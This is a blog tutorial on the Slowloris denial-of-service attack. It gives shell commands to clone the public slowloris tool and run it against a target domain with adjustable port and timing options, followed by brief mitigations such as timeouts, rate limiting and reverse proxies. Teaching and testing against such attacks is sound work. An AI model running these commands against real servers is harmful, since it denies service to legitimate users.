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Slowloris Attack #whitehat

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Denial-of-Service (DoS) attacks are a critical threat to web server security. One particularly insidious type is the Slowloris attack, which can incapacitate a server with minimal resources.

Remember, this guide is for educational purposes only, and any unauthorized testing on live servers is illegal and unethical.

What is a Slow Loris Attack? #

A Slow Loris attack involves sending numerous incomplete HTTP requests to a target server.

By maintaining these connections open with periodic headers but never completing them, the server’s resources are tied up, preventing legitimate users from accessing the server.

Prerequisites #

Before we begin, ensure you have.

  • A machine running Linux
  • Basic knowledge of terminal commands
  • Python and Git installed

Step-by-Step Guide #

Let’s start ensuring we have Python and Git installed in our Linux system.

sudo apt update
sudo apt install python3 python3-pip git

Clone the Slowloris repository from GitHub. This tool is a simple script written in Python that we’ll use for our attack demonstration.

git clone https://github.com/gkbrk/slowloris.git
cd slowloris

Install the necessary python packages.

pip3 install -r requirements.txt

Running Slowloris #

Now, we’re ready to execute the Slow Loris attack. Replace example.com with the domain of your test server.

python3 slowloris.py example.com

Optional: Adjusting Parameters #

Slowloris offers several parameters to customize the attack. You can see all available options by running:

python3 slowloris.py -h

Here are some useful parameters:

  • -p PORT, --port PORT: Specify the target web server’s port (default is 80).
  • -s SLEEPTIME, --sleeptime SLEEPTIME: Time to sleep between sending each header (default is 15 seconds).
  • -v, --verbose: Enable verbose output.

Example usage:

python3 slowloris.py example.com -p 8080 -s 10 -v

Mitigating Slow Loris Attacks #

To protect your server from Slow Loris attacks, consider the following measures:

  • Implement Timeouts: Configure your server to set timeouts for incomplete requests.
  • Rate Limiting: Limit the number of connections a single IP can make.
  • Reverse Proxies: Use a reverse proxy like Nginx or Apache to handle incoming connections and mitigate the effects of such attacks.

Conclusion #

Understanding and testing the resilience of your server against Slow Loris attacks is crucial for maintaining robust web security.

By following this hands-on guide, you’ve seen how to conduct a Slow Loris attack in a controlled environment.

Always remember to use such techniques ethically and with proper authorization.

For more technical insights and tutorials, visit rmauro.dev.

Additional Credits #

{
  gkbrkslowloris,
  title = "Slowloris",
  author = "Gokberk Yaltirakli",
  journal = "github.com",
  year = "2015",
  url = "https://github.com/gkbrk/slowloris"
}